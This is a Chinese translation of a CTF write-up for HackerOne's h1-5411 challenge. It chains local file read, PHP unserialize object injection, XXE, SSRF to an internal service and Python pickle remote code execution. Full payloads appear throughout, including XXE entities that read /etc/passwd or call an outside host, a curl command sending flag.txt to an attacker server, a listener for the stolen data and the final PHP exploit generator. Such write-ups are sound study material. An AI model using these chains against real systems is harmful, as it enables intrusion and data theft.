导语:erbbysam和我最近打算挑战一下HackerOne举办的最新的CTF比赛。本文是我们从开始到结束所采取的过程的记录。
erbbysam和我最近打算挑战一下HackerOne举办的最新的CTF比赛。本文是我们从开始到结束所采取的过程的记录。
h1-5411 CTF以HackerOne发布的推文作为一个开始:
点击链接将引导你访问CTF网站:
这个网站允许你选择MEME模板,顶部文本和底部文本。这会生成一个保存到会话中的MEME,它是一个图像或txt文件。
生成Meme
POST请求如下所示:
POST /api/generate.php HTTP/1.1 Host: h1-5411.h1ctf.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: https://h1-5411.h1ctf.com/generate.php Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 63 Cookie: PHPSESSID=qpvh9cil4heghbjdq6cp4vfbgs Connection: close template=template4.txt&type=text&top-text=test&bottom-text=test
template参数可以设置文件名用于MEME生成过程的一部分。
正如你可能猜到的,模板变量很容易产生本地文件读取(LFR)漏洞。只要将其设置为txt模板,就可以在系统上指定任意文件并获取其文件内容。这是获取PHP源代码的示例:
在这里,你可以在查看你保存的MEME模板的源代码:
在从index.php查找到每个文件在include()内包含的所有文件之后,我们最终得到了整个应用程序的源代码。下一步是弄清楚应用程序中存在哪些漏洞。
在/includes/classes.php文件中,首先看到的事情是开发者故意禁用了XXE保护。
这意味着DOMDocument-> loadXML()容易受到外部实体/DTD的攻击,并允许我们执行恶意的XXE有效载荷。这里的问题是,我们如何设置ConfigFile类的config_raw变量。
从/includes/header.php文件中,如果没有LFR漏洞,你将无法发现下面两个有趣的文件。
/import_memes_2.0.php /export_memes_2.0.php
每个文件都会向/api/目录中的同名文件发送POST请求。
/api/import_memes_2.0.php
<?php require_once("../includes/config.php"); if (isset($_FILES['f'])) { $new_memes = unserialize(base64_decode( file_get_contents($_FILES['f']['tmp_name']))); $_SESSION['memes'] = array_merge($_SESSION['memes'], $new_memes); } header("Location: /memes.php"); ?>
/api/export_memes_2.0.php
<?php require_once("../includes/config.php"); header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.time().'_export.memepak"'); echo base64_encode(serialize($_SESSION['memes'])); ?>
使用导入API脚本,我们可以使用文件上传POST请求指定unserialize()的输入。上传的反序列化数据将合并到$ _SESSION [“memes”]中,其中保存了所有MEME。
现在我们知道我们可以通过unserialize(对象注入)创建PHP对象,并且知道ConfigFile类中有一个XXE,我们必须弄清楚如何将它们放在一起利用。
ConfigClass有一个魔术方法函数__toString(),只要初始化类并将其视为字符串,它就会被调用。这通常意味着每个分配了类的变量都是echo,print,print_r等。
function __toString() { $this->parse(); $debug = ""; $debug .= "Debug Info :\n"; $debug .= "TopText => {$this->top_text}\n"; $debug .= "BottomText => {$this->bottom_text}\n"; $debug .= "Template Location => {$this->template}\n"; $debug .= "Template Type => {$this->type}\n"; return $debug; }
我们将在进一步解释攻击后讨论如何触发漏洞。在__toString()执行链之后,我们看到它立即调用了parse()函数。
function parse() { $dom = new DOMDocument(); $dom->loadXML($this->config_raw, LIBXML_NOENT | LIBXML_DTDLOAD); $o = simplexml_import_dom($dom); $this->top_text = $o->toptext; $this->bottom_text = $o->bottomtext; $this->template = $o->template; $this->type = $o->type; }
从上面的代码是可以看到希望的,因为$this-> config_raw被传递到易受攻击的loadXML()函数调用,并且不会被任何静态覆盖。这意味着如果我们创建一个反序列化的对象,我们可以指定config_raw变量,它将执行我们的XXE有效载荷。
我们通过删除此攻击链中涉及的所有代码来设置一个测试脚本,以便在启用警告的情况下在本地进行测试。他们的服务器没有显示任何PHP错误或警告,这意味着我们对我们遇到的任何潜在障碍完全看不到。
下面的gist就是我们的测试代码:
使用上面的脚本,我们在config_raw中指定了我们的XXE有效载荷后,在新创建的类之上运行了base64_encode(serialize())函数。
示例代码:
class ConfigFile { ... } $test = new ConfigFile("asdf"); $test->config_raw = '<?xml version="1.0" ?><!DOCTYPE r [<!ELEMENT r ANY ><!ENTITY % sp SYSTEM "https://xss.buer.haus/ev.xml">%sp;%param1;]><r>&exfil;</r>'; echo base64_encode(serialize($test));
下一步是使用import_memes脚本上传它:
· https://h1-5411.h1ctf.com/import_memes_2.0.php
没有出错。但是我们遇到一个警告提示,说我们不能将一个数组和一个对象进行array_merge。这是有道理的,回顾/includes/config.php中的代码,我们可以看到$_SESSION [“memes”]是一个array()并获取存储在其中的字符串。
// Start/Resume session session_start(); // Setup session if (!isset($_SESSION['memes'])) { $_SESSION['memes'] = array(); }
因此,为了将我们的对象存储到$_SESSION [“memes”]中,我们必须将序列化对象包装在一个数组中。这使事情变得有些复杂,因为我们发现利用toString()方法的唯一方法是在导出脚本上回显$_SESSION [“memes”]。这意味着我们需要找到一种新方法来执行toString魔术方法。
幸运的是,我们在generate.php文件中发现了这一点。
foreach($_SESSION['memes'] as $meme) { ?> <iframe width="100%" height="450" frameborder="0" src="<?php echo htmlentities($meme); ?>"></iframe> <?php } } ?>
正如你在代码中看到的那样,它遍历$_SESSION [“meme”]数组中的所有项目并通过echo显示它们。当它击中存储在数组中的对象时,它将触发toString()执行,从而最终执行我们的XXE有效载荷。
以下是使用XXE有效载荷加载file:///etc/passwd的示例:
class ConfigFile { ... } $test = new ConfigFile("asdf"); $test->config_raw = '<?xml version="1.0"?><!DOCTYPE root[<!ENTITY foo SYSTEM "file:///etc/passwd">]><test><toptext>dddrrr &foo;</toptext></test>'; echo base64_encode(serialize(array($test)));
太棒了!现在确认我们终于成功利用XXE漏洞了。
那我们接下来做什么呢?我们已经利用了本地文件读取漏洞,所以接下来的事情可能与此无关。我记得我们在其中一个文件中看到了localhost。XXE使我们能够执行服务器端请求伪造,并且由于XML被呈现给用户,因此它也不是完全看不到的。这就使得我们能够获取和查看服务器的内部网站或服务。
这是/includes/classes.php中的注释
/* Maintenance service: internal service on localhost, still under development!! class Maintenance { function __construct() { //TODO } } */
我们开始尝试各种http:// 来调用localhost,但我们运气不好。最终我们猜测它可能在一个随机的端口上,我们的第一个猜测是正确的!我们从查询http://localhost:1337得到了响应。服务端口是1337。
非盲目性的XXE有效载荷对于发现1337端口和功能至关重要:
<?xml version="1.0"?> <!DOCTYPE root [ <!ENTITY foo SYSTEM "php://filter/convert.base64-encode/resource=http://localhost:1337/"> ]><test><toptext> &foo;</toptext></test>
请求后将返回如下内容:
内部Meme服务
Meme Service - Internal Maintenance API - v0.1 (Alpha); API Documentation: Version 0.1 - Endpoints: /status - View maintenance status; /update-status Change maintenance status; Debug: The debug parameter allows debugging;
哦不,看起来,我们需要解决更多的挑战。
访问/状态/status?debug=1打印出如下信息:
Maintenance mode: off | Debug: KGlhcHAKU3RhdHVzCnAxCihkcDIKUydtZXNzYWdlJwpwMwpTJ01haW50ZW5hbmNlIG1vZGU6IG9mZicKcDQKc1MnbWFpbnRlbmFuY2UnCnA1CkkwMApzYi4=
Base64解码字符串后我们可以立即识别出它是Python pickle。这本质上是Python的序列化版本,并且具有类似的对象注入漏洞。但是,Python pickle通常会直接导致远程执行代码。
(iapp Status p1 (dp2 S'message' p3 S'Maintenance mode: off' p4 sS'maintenance' p5 I00 Sb.
因此,我们应该尝试用“恶意”泡菜来更新状态!
通过有效形成的泡菜发送到/ update-status?status =&debug = 1导致消息:
A new status has been loaded. Automatic reloading not implemented yet!
不幸的是,对于/status页面不存在这个漏洞(一个畸形的pickle会显示错误输出),这意味着我们必须盲目性的发现漏洞,让这个“恶意”的pickle有效载荷生成器工作!所以我们下一步的策略是使用curl命令:
· https://gist.github.com/mgeeky/cbc7017986b2ec3e247aab0b01a9edcd
运行下面的命令:
# python pickle.py 'curl -X POST -d "|$(cat flag.txt)|" myserver.com' Y3Bvc2l4CnN5c3RlbQpwMQooUydjdXJsIC1YIFBPU1QgLWQgInwkKGNhdCBmbGFnLnR4dCl8IiBteXNlcnZlci5jb20nCnAyCnRScDMKLg==
添加到php payload:
$test->config_raw = '<?xml version="1.0"?> <!DOCTYPE root [ <!ENTITY foo SYSTEM "php://filter/convert.base64-encode/resource=http://localhost:1337/update-status?status=Y3Bvc2l4CnN5c3RlbQpwMQooUydjdXJsIC1YIFBPU1QgLWQgInwkKGNhdCBmbGFnLnR4dCl8IiBteXNlcnZlci5jb20nCnAyCnRScDMKLg==&debug=1"> ]><test><toptext> &foo;</toptext></test>';
要上传的新mypack文件:
YToxOntpOjA7TzoxMDoiQ29uZmlnRmlsZSI6MTp7czoxMDoiY29uZmlnX3JhdyI7czozMTA6Ijw/eG1sIHZlcnNpb249IjEuMCI/Pg0KPCFET0NUWVBFIHJvb3QNClsNCjwhRU5USVRZIGZvbyBTWVNURU0gInBocDovL2ZpbHRlci9jb252ZXJ0LmJhc2U2NC1lbmNvZGUvcmVzb3VyY2U9aHR0cDovL2xvY2FsaG9zdDoxMzM3L3VwZGF0ZS1zdGF0dXM/c3RhdHVzPVkzQnZjMmw0Q25ONWMzUmxiUXB3TVFvb1V5ZGpkWEpzSUMxWUlGQlBVMVFnTFdRZ0lud2tLR05oZENCbWJHRm5MblI0ZENsOElpQnRlWE5sY25abGNpNWpiMjBuQ25BeUNuUlNjRE1LTGc9PSZkZWJ1Zz0xIj4NCl0+PHRlc3Q+PHRvcHRleHQ+ICZmb287PC90b3B0ZXh0PjwvdGVzdD4iO319
再次访问memes.php时,只需使用简单的tornado监听器来获取POST响应即可:
import tornado.ioloop import tornado.web class MainHandler(tornado.web.RequestHandler): def post(self): print self.request.body def make_app(): return tornado.web.Application([ (r"/.*", MainHandler), ]) if __name__ == "__main__": app = make_app() app.listen(80) tornado.ioloop.IOLoop.current().start()
使用此方法查看文件系统(“python pickle.py'curl -X POST -d”| $(ls -lath)|“myserver.com”)会产生下面的结果:
total 36K drwxr-xr-x 1 root root 4.0K Sep 26 16:20 .. drwxr-xr-x 1 maintenance maintenance 4.0K Sep 26 16:19 . drwxr-xr-x 1 maintenance maintenance 4.0K Sep 26 16:19 static -rw-r--r-- 1 maintenance maintenance 1.7K Sep 23 19:28 app.py -rw-r--r-- 1 maintenance maintenance 3.4K Sep 23 19:11 app.pyc -rw-r--r-- 1 maintenance maintenance 150 Sep 23 19:07 flag.txt -rw-r--r-- 1 maintenance maintenance 14 Sep 18 17:50 requirements.txt -rw-r--r-- 1 maintenance maintenance 89 Sep 18 17:50 status.pickle drwxr-xr-x 1 maintenance maintenance 4.0K Sep 18 17:50 templates
获取Flag
使用此方法查看flag.txt(“python pickle.py'curl -X POST -d”| $(cat flag.txt)|“myserver.com”)显示了如下内容:
Yay! Here is your flag: flag{cha1n1ng_bugs_f0r_fun_4nd_pr0f1t?_or_rep0rt_an_LF1} Go to https://hackerone.com/h1-5411-ctf and submit your writeup!
最终的利用源代码
用于生成有效载荷的PHP代码(适用于http://sandbox.onlinephpfunctions.com/):
<?php $qqq= array("test", "abc"); class ConfigFile { function __construct($url) { $this->config_raw = $url;//file_get_contents($url); } function parse() { echo '<p>DEBUG: parse() hit (current config_raw = '.htmlspecialchars($this->config_raw).' )</p>'; $dom = new DOMDocument(); $dom->loadXML($this->config_raw, LIBXML_NOENT | LIBXML_DTDLOAD); $o = simplexml_import_dom($dom); $this->top_text = $o->toptext; $this->bottom_text = $o->bottomtext; $this->template = $o->template; $this->type = $o->type; } function generate() { $this->parse(); $meme_path = "https://giphy.com/embed/Vuw9m5wXviFIQ?try_harder"; if ($this->type == IMAGE) { if (@is_array(getimagesize($this->path))) { $meme_path = MEMES_FOLDER . $filename . ".jpg"; $args = array( "top_text" => $top_text, "bottom_text" => $bottom_text, "filename" => $meme_path, "font" => FONT_BASE, "memebase" => $this->path, "textsize" => 40, "textfit" => true, "padding" => 10, ); memegen_build_image($args); } } if ($this->type == TEXT) { if ([email protected]_array(getimagesize($this->path))) { $contents = file_get_contents($this->path); $meme = " " . strtoupper($top_text) . "\n\n" . $contents . "\n " . strtoupper($bottom_text); $meme_path = MEMES_FOLDER . $filename . ".txt"; file_put_contents($meme_path, $meme); } } return $meme_path; } function __toString() { echo '<p>DEBUG: toString() hit</p>'; $this->parse(); $debug = ""; $debug .= "Debug Info :\n"; $debug .= "TopText => {$this->top_text}\n"; $debug .= "BottomText => {$this->bottom_text}\n"; $debug .= "Template Location => {$this->template}\n"; $debug .= "Template Type => {$this->type}\n"; return $debug; } } $test = new ConfigFile("asdf"); $test->config_raw = '<?xml version="1.0"?> <!DOCTYPE root [ <!ENTITY foo SYSTEM "php://filter/convert.base64-encode/resource=http://localhost:1337/update-status?status=Y3Bvc2l4CnN5c3RlbQpwMQooUydjdXJsIC1YIFBPU1QgLWQgInwkKGNhdCBmbGFnLnR4dCl8IiBteXNlcnZlci5jb20nCnAyCnRScDMKLg==&debug=1"> ]><test><toptext> &foo;</toptext></test>'; $serialized = base64_encode(serialize(array($test))); // test to make sure array_merge still works $new_memes = unserialize(base64_decode($serialized)); $qqq = array_merge($qqq, $new_memes); // print it echo $serialized; ?